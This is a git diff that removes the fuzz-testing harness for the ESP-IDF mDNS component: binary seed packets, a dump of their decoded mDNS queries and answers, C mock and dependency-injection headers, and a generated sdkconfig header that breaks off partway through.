a/components/mdns/tests/test_afl_fuzz_host/in/test-29.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-29.bin deleted file mode 100644 index 837737b3..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-29.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-31.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-31.bin deleted file mode 100644 index 690b7355..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-31.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-53.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-53.bin deleted file mode 100644 index 73181ea8..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-53.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-56.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-56.bin deleted file mode 100644 index 980b6516..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-56.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-63.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-63.bin deleted file mode 100644 index 883d444b..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-63.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-83.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-83.bin deleted file mode 100644 index c6cc159a..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-83.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-88.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-88.bin deleted file mode 100644 index fcbb3844..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-88.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-89.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-89.bin deleted file mode 100644 index d60a987c..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-89.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-95.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-95.bin deleted file mode 100644 index 26553090..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-95.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-96.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-96.bin deleted file mode 100644 index fabf8b79..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-96.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/input_packets.txt b/components/mdns/tests/test_afl_fuzz_host/input_packets.txt deleted file mode 100644 index 15c5df2b..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/input_packets.txt +++ /dev/null @@ -1,166 +0,0 @@ -Input: in/test-14.bin -Packet Length: 568 -Questions: 18 - Q: _airport._tcp.local. PTR IN - Q: _http._tcp.local. PTR IN - Q: _printer._tcp.local. PTR IN - Q: _sub._http._tcp.local. PTR IN - Q: _airplay._tcp.local. PTR IN - Q: _raop._tcp.local. PTR IN - Q: _uscan._tcp.local. PTR IN - Q: _uscans._tcp.local. PTR IN - Q: _ippusb._tcp.local. PTR IN - Q: _scanner._tcp.local. PTR IN - Q: _ipp._tcp.local. PTR IN - Q: _ipps._tcp.local. PTR IN - Q: _pdl-datastream._tcp.local. PTR IN - Q: _ptp._tcp.local. PTR IN - Q: _sleep-proxy._udp.local. PTR IN - Q: 9801A7E58FA1@Hristo's AirPort Express._raop._tcp.local. TXT IN - Q: Hristo's AirPort Express._airport._tcp.local. TXT IN - Q: Hristo's Time Capsule._airport._tcp.local. TXT IN -Answers: 7 + 0 - A: _airport._tcp.local. PTR IN 2272 [2] Hristo's AirPort Express._airport._tcp.local. - A: _airport._tcp.local. PTR IN 2272 [2] Hristo's Time Capsule._airport._tcp.local. - A: _http._tcp.local. PTR IN 2535 [23] HP LaserJet CP1025nw._http._tcp.local. - A: _printer._tcp.local. PTR IN 2535 [23] HP LaserJet CP1025nw._printer._tcp.local. - A: _ipp._tcp.local. PTR IN 2535 [23] HP LaserJet CP1025nw._ipp._tcp.local. - A: _pdl-datastream._tcp.local. PTR IN 2535 [23] HP LaserJet CP1025nw._pdl-datastream._tcp.local. - A: _sleep-proxy._udp.local. PTR IN 2535 [38] 50-34-10-70.1 Hristo's Time Capsule._sleep-proxy._udp.local. - -Input: in/test-15.bin -Packet Length: 524 -Answers: 3 + 3 - A: Hristo's AirPort Express._airport._tcp.local. TXT IN FLUSH 4500 [166] waMA=98-01-A7-E5-8F-A1,raMA=98-01-A7-E8-C2-2E,raM2=98-01-A7-E8-C2-2F,raNm=your-ssid,raCh=1,rCh2=52,raSt=0,raNA=1,syFl=0x8A0C,syAP=115,syVs=7.6.8,srcv=76800.1,bjSd=23 - A: 9801A7E58FA1@Hristo's AirPort Express._raop._tcp.local. TXT IN FLUSH 4500 [134] txtvers=1; ch=2; cn=0,1; et=0,4; sv=false; da=true; sr=44100; ss=16; pw=false; vn=65537; tp=TCP,UDP; vs=105.1; am=AirPort10,115; fv=76800.1; sf=0x1 - A: _raop._tcp.local. PTR IN 4500 [2] 9801A7E58FA1@Hristo's AirPort Express._raop._tcp.local. - A: 9801A7E58FA1@Hristo's AirPort Express._raop._tcp.local. SRV IN FLUSH 120 [32] 5000 Hristos-AirPort-Express.local. - A: Hristo's AirPort Express.local. NSEC IN FLUSH 4500 [9] Hristo's AirPort Express._airport._tcp.local. 00 05 00 00 80 00 40 - A: 9801A7E58FA1@Hristo's AirPort Express.local. NSEC IN FLUSH 4500 [9] 9801A7E58FA1@Hristo's AirPort Express._raop._tcp.local. 00 05 00 00 80 00 40 - -Input: in/test-16.bin -Packet Length: 254 -Answers: 1 + 1 - A: Hristo's Time Capsule._airport._tcp.local. TXT IN FLUSH 4500 [168] waMA=70-73-CB-B4-C9-B3,raMA=70-73-CB-BB-04-E7,raM2=70-73-CB-BB-04-E8,raNm=nbis-test,raCh=11,rCh2=132,raSt=0,raNA=0,syFl=0x820C,syAP=116,syVs=7.6.8,srcv=76800.1,bjSd=30 - A: Hristo's Time Capsule.local. NSEC IN FLUSH 4500 [9] Hristo's Time Capsule._airport._tcp.local. 00 05 00 00 80 00 40 - -Input: in/test-28.bin -Packet Length: 62 -Questions: 1 - Q: Hristo's Time Capsule._afpovertcp._tcp.local. SRV IN FLUSH - -Input: in/test-29.bin -Packet Length: 39 -Questions: 2 - Q: minifritz.local. A IN FLUSH - Q: minifritz.local. AAAA IN FLUSH - -Input: in/test-31.bin -Packet Length: 91 -Answers: 2 + 1 - A: minifritz.local. AAAA IN FLUSH 120 [16] fe80:0000:0000:0000:142e:54ff:b8c4:fd09 - A: minifritz.local. A IN FLUSH 120 [4] 192.168.254.16 - A: minifritz.local. NSEC IN FLUSH 120 [8] minifritz...local. 00 04 40 00 00 08 - -Input: in/test-53.bin -Packet Length: 140 -Questions: 2 - Q: _smb._tcp.local. PTR IN - Q: Sofiya-Ivanovas-MacBook.local. A IN -Answers: 2 + 0 - A: _smb._tcp.local. PTR IN 3061 [29] Sofiya Ivanova’s MacBook._smb._tcp.local. - A: _smb._tcp.local. PTR IN 3062 [24] Hristo's Time Capsule._smb._tcp.local. - -Input: in/test-56.bin -Packet Length: 262 -Answers: 2 + 6 - A: Hristo’s Mac mini._device-info._tcp.local. TXT IN 4500 [28] model=Macmini6,2; osxvers=16 - A: _smb._tcp.local. PTR IN 4500 [22] Hristo’s Mac mini._smb._tcp.local. - A: Hristo’s Mac mini._smb._tcp.local. TXT IN FLUSH 4500 [1] - A: Hristo’s Mac mini._smb._tcp.local. SRV IN FLUSH 120 [18] 445 minifritz.local. - A: minifritz.local. AAAA IN FLUSH 120 [16] fe80:0000:0000:0000:142e:54ff:b8c4:fd09 - A: minifritz.local. A IN FLUSH 120 [4] 192.168.254.16 - A: Hristo’s Mac mini.local. NSEC IN FLUSH 4500 [9] Hristo’s Mac mini._smb._tcp.local. 00 05 00 00 80 00 40 - A: minifritz.local. NSEC IN FLUSH 120 [8] minifritz...local. 00 04 40 00 00 08 - -Input: in/test-63.bin -Packet Length: 147 -Questions: 2 - Q: _afpovertcp._tcp.local. PTR IN - Q: Sofiya-Ivanovas-MacBook.local. A IN -Answers: 2 + 0 - A: _afpovertcp._tcp.local. PTR IN 2881 [29] Sofiya Ivanova’s MacBook._afpovertcp._tcp.local. - A: _afpovertcp._tcp.local. PTR IN 2881 [24] Hristo's Time Capsule._afpovertcp._tcp.local. - -Input: in/test-66.bin -Packet Length: 269 -Answers: 2 + 6 - A: Hristo’s Mac mini._device-info._tcp.local. TXT IN 4500 [28] model=Macmini6,2; osxvers=16 - A: _afpovertcp._tcp.local. PTR IN 4500 [22] Hristo’s Mac mini._afpovertcp._tcp.local. - A: Hristo’s Mac mini._afpovertcp._tcp.local. TXT IN FLUSH 4500 [1] - A: Hristo’s Mac mini._afpovertcp._tcp.local. SRV IN FLUSH 120 [18] 548 minifritz.local. - A: minifritz.local. AAAA IN FLUSH 120 [16] fe80:0000:0000:0000:142e:54ff:b8c4:fd09 - A: minifritz.local. A IN FLUSH 120 [4] 192.168.254.16 - A: Hristo’s Mac mini.local. NSEC IN FLUSH 4500 [9] Hristo’s Mac mini._afpovertcp._tcp.local. 00 05 00 00 80 00 40 - A: minifritz.local. NSEC IN FLUSH 120 [8] minifritz...local. 00 04 40 00 00 08 - -Input: in/test-83.bin -Packet Length: 105 -Answers: 1 + 2 - A: Sofiya-Ivanovas-MacBook.local. A IN FLUSH 120 [4] 192.168.254.20 - A: Sofiya-Ivanovas-MacBook.local. AAAA IN FLUSH 120 [16] fe80:0000:0000:0000:021c:b3ff:feb2:72a3 - A: Sofiya-Ivanovas-MacBook.local. NSEC IN FLUSH 120 [8] Sofiya-Ivanovas-MacBook...local. 00 04 40 00 00 08 - -Input: in/test-88.bin -Packet Length: 48 -Questions: 2 - Q: _rfb._tcp.local. PTR IN - Q: _airport._tcp.local. PTR IN - -Input: in/test-89.bin -Packet Length: 459 -Answers: 2 + 7 - A: _airport._tcp.local. PTR IN 4500 [24] Hristo's Time Capsule._airport._tcp.local. - A: Hristo's Time Capsule._device-info._tcp.local. TXT IN 4500 [23] model=TimeCapsule6,116 - A: Hristos-Time-Capsule.local. A IN FLUSH 120 [4] 192.168.254.49 - A: Hristo's Time Capsule._airport._tcp.local. TXT IN FLUSH 4500 [168] waMA=70-73-CB-B4-C9-B3,raMA=70-73-CB-BB-04-E7,raM2=70-73-CB-BB-04-E8,raNm=nbis-test,raCh=11,rCh2=132,raSt=0,raNA=0,syFl=0x820C,syAP=116,syVs=7.6.8,srcv=76800.1,bjSd=30 - A: Hristos-Time-Capsule.local. AAAA IN FLUSH 120 [16] fe80:0000:0000:0000:7273:cbff:feb4:c9b3 - A: Hristo's Time Capsule._airport._tcp.local. SRV IN FLUSH 120 [8] 5009 Hristos-Time-Capsule.local. - A: Hristos-Time-Capsule.local. A IN FLUSH 120 [4] 169.254.23.40 - A: Hristos-Time-Capsule.local. NSEC IN FLUSH 120 [8] Hristos-Time-Capsule...local. 00 04 40 00 00 08 - A: Hristo's Time Capsule.local. NSEC IN FLUSH 4500 [9] Hristo's Time Capsule._airport._tcp.local. 00 05 00 00 80 00 40 - -Input: in/test-91.bin -Packet Length: 279 -Answers: 2 + 6 - A: Sofiya Ivanova’s MacBook._device-info._tcp.local. TXT IN 4500 [17] model=Macmini2,1 - A: _rfb._tcp.local. PTR IN 4500 [29] Sofiya Ivanova’s MacBook._rfb._tcp.local. - A: Sofiya Ivanova’s MacBook._rfb._tcp.local. TXT IN FLUSH 4500 [1] - A: Sofiya Ivanova’s MacBook._rfb._tcp.local. SRV IN FLUSH 120 [32] 5900 Sofiya-Ivanovas-MacBook.local. - A: Sofiya-Ivanovas-MacBook.local. AAAA IN FLUSH 120 [16] fe80:0000:0000:0000:021c:b3ff:feb2:72a3 - A: Sofiya-Ivanovas-MacBook.local. A IN FLUSH 120 [4] 192.168.254.20 - A: Sofiya Ivanova’s MacBook.local. NSEC IN FLUSH 4500 [9] Sofiya Ivanova’s MacBook._rfb._tcp.local. 00 05 00 00 80 00 40 - A: Sofiya-Ivanovas-MacBook.local. NSEC IN FLUSH 120 [8] Sofiya-Ivanovas-MacBook...local. 00 04 40 00 00 08 - -Input: in/test-95.bin -Packet Length: 286 -Questions: 3 - Q: _afpovertcp._tcp.local. PTR IN - Q: _smb._tcp.local. PTR IN - Q: _adisk._tcp.local. PTR IN -Answers: 6 + 0 - A: _afpovertcp._tcp.local. PTR IN 2353 [29] Sofiya Ivanova’s MacBook._afpovertcp._tcp.local. - A: _afpovertcp._tcp.local. PTR IN 3973 [22] Hristo’s Mac mini._afpovertcp._tcp.local. - A: _afpovertcp._tcp.local. PTR IN 2353 [24] Hristo's Time Capsule._afpovertcp._tcp.local. - A: _smb._tcp.local. PTR IN 2353 [29] Sofiya Ivanova’s MacBook._smb._tcp.local. - A: _smb._tcp.local. PTR IN 3792 [22] Hristo’s Mac mini._smb._tcp.local. - A: _smb._tcp.local. PTR IN 2353 [24] Hristo's Time Capsule._smb._tcp.local. - -Input: in/test-96.bin -Packet Length: 319 -Answers: 2 + 3 - A: Hristo's Time Capsule._device-info._tcp.local. TXT IN 4500 [23] model=TimeCapsule6,116 - A: _adisk._tcp.local. PTR IN 4500 [24] Hristo's Time Capsule._adisk._tcp.local. - A: Hristo's Time Capsule._adisk._tcp.local. TXT IN FLUSH 4500 [110] sys=waMA=70:73:CB:B4:C9:B3,adVF=0x1000; dk2=adVF=0x1083,adVN=Capsule,adVU=55fabb8b-a63b-5441-9874-6edb504eb30a - A: Hristo's Time Capsule._adisk._tcp.local. SRV IN FLUSH 120 [29] 9 Hristos-Time-Capsule.local. - A: Hristo's Time Capsule.local. NSEC IN FLUSH 4500 [9] Hristo's Time Capsule._adisk._tcp.local. 00 05 00 00 80 00 40 diff --git a/components/mdns/tests/test_afl_fuzz_host/mdns_di.h b/components/mdns/tests/test_afl_fuzz_host/mdns_di.h deleted file mode 100644 index ed56960f..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/mdns_di.h +++ /dev/null @@ -1,61 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2022 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Unlicense OR CC0-1.0 - */ -/* - * MDNS Dependecy injection -- preincluded to inject interface test functions into static variables - * - */ - -#include "mdns.h" -#include "mdns_private.h" - -void (*mdns_test_static_execute_action)(mdns_action_t *) = NULL; -mdns_srv_item_t *(*mdns_test_static_mdns_get_service_item)(const char *service, const char *proto, const char *hostname) = NULL; -mdns_search_once_t *(*mdns_test_static_search_init)(const char *name, const char *service, const char *proto, uint16_t type, bool unicast, - uint32_t timeout, uint8_t max_results, - mdns_query_notify_t notifier) = NULL; -esp_err_t (*mdns_test_static_send_search_action)(mdns_action_type_t type, mdns_search_once_t *search) = NULL; -void (*mdns_test_static_search_free)(mdns_search_once_t *search) = NULL; - -static void _mdns_execute_action(mdns_action_t *action); -static mdns_srv_item_t *_mdns_get_service_item(const char *service, const char *proto, const char *hostname); -static mdns_search_once_t *_mdns_search_init(const char *name, const char *service, const char *proto, uint16_t type, bool unicast, - uint32_t timeout, uint8_t max_results, mdns_query_notify_t notifier); -static esp_err_t _mdns_send_search_action(mdns_action_type_t type, mdns_search_once_t *search); -static void _mdns_search_free(mdns_search_once_t *search); - -void mdns_test_init_di(void) -{ - mdns_test_static_execute_action = _mdns_execute_action; - mdns_test_static_mdns_get_service_item = _mdns_get_service_item; - mdns_test_static_search_init = _mdns_search_init; - mdns_test_static_send_search_action = _mdns_send_search_action; - mdns_test_static_search_free = _mdns_search_free; -} - -void mdns_test_execute_action(void *action) -{ - mdns_test_static_execute_action((mdns_action_t *)action); -} - -void mdns_test_search_free(mdns_search_once_t *search) -{ - return mdns_test_static_search_free(search); -} - -esp_err_t mdns_test_send_search_action(mdns_action_type_t type, mdns_search_once_t *search) -{ - return mdns_test_static_send_search_action(type, search); -} - -mdns_search_once_t *mdns_test_search_init(const char *name, const char *service, const char *proto, uint16_t type, uint32_t timeout, uint8_t max_results) -{ - return mdns_test_static_search_init(name, service, proto, type, timeout, type != MDNS_TYPE_PTR, max_results, NULL); -} - -mdns_srv_item_t *mdns_test_mdns_get_service_item(const char *service, const char *proto) -{ - return mdns_test_static_mdns_get_service_item(service, proto, NULL); -} diff --git a/components/mdns/tests/test_afl_fuzz_host/mdns_mock.h b/components/mdns/tests/test_afl_fuzz_host/mdns_mock.h deleted file mode 100644 index d37da929..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/mdns_mock.h +++ /dev/null @@ -1,31 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2022-2023 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Unlicense OR CC0-1.0 - */ -#pragma once -#include "esp32_mock.h" -#include "mdns.h" -#include "mdns_private.h" - - -static inline void *_mdns_get_packet_data(mdns_rx_packet_t *packet) -{ - return packet->pb->payload; -} - -static inline size_t _mdns_get_packet_len(mdns_rx_packet_t *packet) -{ - return packet->pb->len; -} - -static inline void _mdns_packet_free(mdns_rx_packet_t *packet) -{ - free(packet->pb); - free(packet); -} - -static inline bool mdns_is_netif_ready(mdns_if_t tcpip_if, mdns_ip_protocol_t ip_protocol) -{ - return true; -} diff --git a/components/mdns/tests/test_afl_fuzz_host/sdkconfig.h b/components/mdns/tests/test_afl_fuzz_host/sdkconfig.h deleted file mode 100644 index da75d147..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/sdkconfig.h +++ /dev/null @@ -1,424 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2022-2023 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Unlicense OR CC0-1.0 - */ -/* - * This config file commited in order to not run `idf.py reconfigure` each time when running fuzzer test. You can modify it manually or run `idf.py reconfigure` to generate new one if needed. - * Espressif IoT Development Framework (ESP-IDF) Configuration Header - */ -#pragma once -#define CONFIG_IDF_TARGET "esp32" -#define CONFIG_IDF_TARGET_ESP32 1 -#define CONFIG_IDF_FIRMWARE_CHIP_ID 0x0000 -#define CONFIG_SDK_TOOLPREFIX "xtensa-esp32-elf-" -#define CONFIG_APP_BUILD_TYPE_APP_2NDBOOT 1 -#define CONFIG_APP_BUILD_GENERATE_BINARIES 1 -#define CONFIG_APP_BUILD_BOOTLOADER 1 -#define CONFIG_APP_BUILD_USE_FLASH_SECTIONS 1 -#define CONFIG_APP_COMPILE_TIME_DATE 1 -#define CONFIG_APP_RETRIEVE_LEN_ELF_SHA 16 -#define CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_SIZE 1 -#define CONFIG_BOOTLOADER_LOG_LEVEL_INFO 1 -#define CONFIG_BOOTLOADER_LOG_LEVEL 3 -#define CONFIG_BOOTLOADER_VDDSDIO_BOOST_1_9V 1 -#define CONFIG_BOOTLOADER_WDT_ENABLE 1 -#define CONFIG_BOOTLOADER_WDT_TIME_MS 9000 -#define CONFIG_BOOTLOADER_RESERVE_RTC_SIZE 0x0 -#define CONFIG_ESPTOOLPY_WITH_STUB 1 -#define CONFIG_ESPTOOLPY_FLASHMODE_DIO 1 -#define CONFIG_ESPTOOLPY_FLASHMODE "dio" -#define CONFIG_ESPTOOLPY_FLASHFREQ_40M 1 -#define CONFIG_ESPTOOLPY_FLASHFREQ "40m" -#define CONFIG_ESPTOOLPY_FLASHSIZE_2MB 1 -#define CONFIG_ESPTOOLPY_FLASHSIZE "2MB" -#define CONFIG_ESPTOOLPY_FLASHSIZE_DETECT 1 -#define CONFIG_ESPTOOLPY_BEFORE_RESET 1 -#define CONFIG_ESPTOOLPY_BEFORE "default_reset" -#define CONFIG_ESPTOOLPY_AFTER_RESET 1 -#define CONFIG_ESPTOOLPY_AFTER "hard_reset" -#define CONFIG_PARTITION_TABLE_SINGLE_APP 1 -#define CONFIG_PARTITION_TABLE_CUSTOM_FILENAME "partitions.csv" -#define CONFIG_PARTITION_TABLE_FILENAME "partitions_singleapp.csv" -#define CONFIG_PARTITION_TABLE_OFFSET 0x8000 -#define CONFIG_PARTITION_TABLE_MD5 1 -#define CONFIG_COMPILER_OPTIMIZATION_DEFAULT 1 -#define CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_ENABLE 1 -#define CONFIG_COMPILER_STACK_CHECK_MODE_NONE 1 -#define CONFIG_APPTRACE_DEST_NONE 1 -#define CONFIG_APPTRACE_LOCK_ENABLE 1 -#define CONFIG_BTDM_CTRL_BR_EDR_SCO_DATA_PATH_EFF 0 -#define CONFIG_BTDM_CTRL_BLE_MAX_CONN_EFF 0 -#define CONFIG_BTDM_CTRL_BR_EDR_MAX_ACL_CONN_EFF 0 -#define CONFIG_BTDM_CTRL_BR_EDR_MAX_SYNC_CONN_EFF 0 -#define CONFIG_BTDM_CTRL_PINNED_TO_CORE 0 -#define CONFIG_BTDM_BLE_SLEEP_CLOCK_ACCURACY_INDEX_EFF 1 -#define CONFIG_BTDM_RESERVE_DRAM 0x0 -#define CONFIG_COAP_MBEDTLS_PSK 1 -#define CONFIG_COAP_LOG_DEFAULT_LEVEL 0 -#define CONFIG_ADC_DISABLE_DAC 1 -#define CONFIG_SPI_MASTER_ISR_IN_IRAM 1 -#define CONFIG_SPI_SLAVE_ISR_IN_IRAM 1 -#define CONFIG_EFUSE_CODE_SCHEME_COMPAT_3_4 1 -#define CONFIG_EFUSE_MAX_BLK_LEN 192 -#define CONFIG_ESP_TLS_USING_MBEDTLS 1 -#define CONFIG_ESP32_REV_MIN_0 1 -#define CONFIG_ESP32_REV_MIN 0 -#define CONFIG_ESP32_DPORT_WORKAROUND 1 -#define CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_160 1 -#define CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ 160 -#define CONFIG_ESP32_TRACEMEM_RESERVE_DRAM 0x0 -#define CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_FOUR 1 -#define CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES 4 -#define CONFIG_ULP_COPROC_RESERVE_MEM 0 -#define CONFIG_ESP_DEBUG_OCDAWARE 1 -#define CONFIG_ESP_BROWNOUT_DET 1 -#define CONFIG_ESP_BROWNOUT_DET_LVL_SEL_0 1 -#define CONFIG_ESP_BROWNOUT_DET_LVL 0 -#define CONFIG_ESP32_REDUCE_PHY_TX_POWER 1 -#define CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC_HRT 1 -#define CONFIG_RTC_CLK_SRC_INT_RC 1 -#define CONFIG_RTC_CLK_CAL_CYCLES 1024 -#define CONFIG_ESP32_DEEP_SLEEP_WAKEUP_DELAY 2000 -#define CONFIG_ESP32_XTAL_FREQ_40 1 -#define CONFIG_ESP32_XTAL_FREQ 40 -#define CONFIG_ESP32_DPORT_DIS_INTERRUPT_LVL 5 -#define CONFIG_ADC_CAL_EFUSE_TP_ENABLE 1 -#define CONFIG_ADC_CAL_EFUSE_VREF_ENABLE 1 -#define CONFIG_ADC_CAL_LUT_ENABLE 1 -#define CONFIG_ESP_ERR_TO_NAME_LOOKUP 1 -#define CONFIG_ESP_SYSTEM_EVENT_QUEUE_SIZE 32 -#define CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE 2304 -#define CONFIG_ESP_MAIN_TASK_STACK_SIZE 3584 -#define CONFIG_ESP_IPC_TASK_STACK_SIZE 1024 -#define CONFIG_ESP_IPC_USES_CALLERS_PRIORITY 1 -#define CONFIG_ESP_MINIMAL_SHARED_STACK_SIZE 2048 -#define CONFIG_ESP_CONSOLE_UART_DEFAULT 1 -#define CONFIG_ESP_CONSOLE_UART_NUM 0 -#define CONFIG_ESP_CONSOLE_UART_TX_GPIO 1 -#define CONFIG_ESP_CONSOLE_UART_RX_GPIO 3 -#define CONFIG_ESP_CONSOLE_UART_BAUDRATE 115200 -#define CONFIG_ESP_INT_WDT 1 -#define CONFIG_ESP_INT_WDT_TIMEOUT_MS 300 -#define CONFIG_ESP_INT_WDT_CHECK_CPU1 1 -#define CONFIG_ESP_TASK_WDT 1 -#define CONFIG_ESP_TASK_WDT_TIMEOUT_S 5 -#define CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU0 1 -#define CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU1 1 -#define CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_STA 1 -#define CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_AP 1 -#define CONFIG_ESP_MAC_ADDR_UNIVERSE_BT 1 -#define CONFIG_ESP_MAC_ADDR_UNIVERSE_BT_OFFSET 2 -#define CONFIG_ESP_MAC_ADDR_UNIVERSE_ETH 1 -#define CONFIG_ETH_ENABLED 1 -#define CONFIG_ETH_USE_ESP32_EMAC 1 -#define CONFIG_ETH_PHY_INTERFACE_RMII 1 -#define CONFIG_ETH_RMII_CLK_INPUT 1 -#define CONFIG_ETH_RMII_CLK_IN_GPIO 0 -#define CONFIG_ETH_DMA_BUFFER_SIZE 512 -#define CONFIG_ETH_DMA_RX_BUFFER_NUM 10 -#define CONFIG_ETH_DMA_TX_BUFFER_NUM 10 -#define CONFIG_ETH_USE_SPI_ETHERNET 1 -#define CONFIG_ESP_EVENT_POST_FROM_ISR 1 -#define CONFIG_ESP_EVENT_POST_FROM_IRAM_ISR 1 -#define CONFIG_ESP_HTTP_CLIENT_ENABLE_HTTPS 1 -#define CONFIG_HTTPD_MAX_REQ_HDR_LEN 512 -#define CONFIG_HTTPD_MAX_URI_LEN 512 -#define CONFIG_HTTPD_ERR_RESP_NO_DELAY 1 -#define CONFIG_HTTPD_PURGE_BUF_LEN 32 -#define CONFIG_ESP_NETIF_IP_LOST_TIMER_INTERVAL 120 -#define CONFIG_ESP_NETIF_TCPIP_LWIP 1 -#define CONFIG_ESP_SYSTEM_PANIC_PRINT_REBOOT 1 -#define CONFIG_ESP_TIMER_TASK_STACK_SIZE 3584 -#define CONFIG_ESP_TIMER_IMPL_TG0_LAC 1 -#define CONFIG_ESP32_WIFI_STATIC_RX_BUFFER_NUM 10 -#define CONFIG_ESP32_WIFI_DYNAMIC_RX_BUFFER_NUM 32 -#define CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER 1 -#define CONFIG_ESP32_WIFI_TX_BUFFER_TYPE 1 -#define CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER_NUM 32 -#define CONFIG_ESP32_WIFI_AMPDU_TX_ENABLED 1 -#define CONFIG_ESP32_WIFI_TX_BA_WIN 6 -#define CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED 1 -#define CONFIG_ESP32_WIFI_RX_BA_WIN 6 -#define CONFIG_ESP32_WIFI_NVS_ENABLED 1 -#define CONFIG_ESP32_WIFI_TASK_PINNED_TO_CORE_0 1 -#define CONFIG_ESP32_WIFI_SOFTAP_BEACON_MAX_LEN 752 -#define CONFIG_ESP32_WIFI_MGMT_SBUF_NUM 32 -#define CONFIG_ESP32_WIFI_IRAM_OPT 1 -#define CONFIG_ESP32_WIFI_RX_IRAM_OPT 1 -#define CONFIG_ESP32_WIFI_ENABLE_WPA3_SAE 1 -#define CONFIG_ESP32_PHY_CALIBRATION_AND_DATA_STORAGE 1 -#define CONFIG_ESP32_PHY_MAX_WIFI_TX_POWER 20 -#define CONFIG_ESP32_PHY_MAX_TX_POWER 20 -#define CONFIG_ESP_COREDUMP_ENABLE_TO_NONE 1 -#define CONFIG_FATFS_CODEPAGE_437 1 -#define CONFIG_FATFS_CODEPAGE 437 -#define CONFIG_FATFS_LFN_NONE 1 -#define CONFIG_FATFS_FS_LOCK 0 -#define CONFIG_FATFS_TIMEOUT_MS 10000 -#define CONFIG_FATFS_PER_FILE_CACHE 1 -#define CONFIG_FMB_COMM_MODE_RTU_EN 1 -#define CONFIG_FMB_COMM_MODE_ASCII_EN 1 -#define CONFIG_FMB_MASTER_TIMEOUT_MS_RESPOND 150 -#define CONFIG_FMB_MASTER_DELAY_MS_CONVERT 200 -#define CONFIG_FMB_QUEUE_LENGTH 20 -#define CONFIG_FMB_SERIAL_TASK_STACK_SIZE 2048 -#define CONFIG_FMB_SERIAL_BUF_SIZE 256 -#define CONFIG_FMB_SERIAL_ASCII_BITS_PER_SYMB 8 -#define CONFIG_FMB_SERIAL_ASCII_TIMEOUT_RESPOND_MS 1000 -#define CONFIG_FMB_SERIAL_TASK_PRIO 10 -#define CONFIG_FMB_CONTROLLER_NOTIFY_TIMEOUT 20 -#define CONFIG_FMB_CONTROLLER_NOTIFY_QUEUE_SIZE 20 -#define CONFIG_FMB_CONTROLLER_STACK_SIZE 4096 -#define CONFIG_FMB_EVENT_QUEUE_TIMEOUT 20 -#define CONFIG_FMB_TIMER_PORT_ENABLED 1 -#define CONFIG_FMB_TIMER_GROUP 0 -#define CONFIG_FMB_TIMER_INDEX 0 -#define CONFIG_FREERTOS_NO_AFFINITY 0x7FFFFFFF -#define CONFIG_FREERTOS_CORETIMER_0 1 -#define CONFIG_FREERTOS_HZ 100 -#define CONFIG_FREERTOS_ASSERT_ON_UNTESTED_FUNCTION 1 -#define CONFIG_FREERTOS_CHECK_STACKOVERFLOW_CANARY 1 -#define CONFIG_FREERTOS_INTERRUPT_BACKTRACE 1 -#define CONFIG_FREERTOS_THREAD_LOCAL_STORAGE_POINTERS 1 -#define CONFIG_FREERTOS_IDLE_TASK_STACKSIZE 1536 -#define CONFIG_FREERTOS_ISR_STACKSIZE 1536 -#define CONFIG_FREERTOS_MAX_TASK_NAME_LEN 16 -#define CONFIG_FREERTOS_TIMER_TASK_PRIORITY 1 -#define 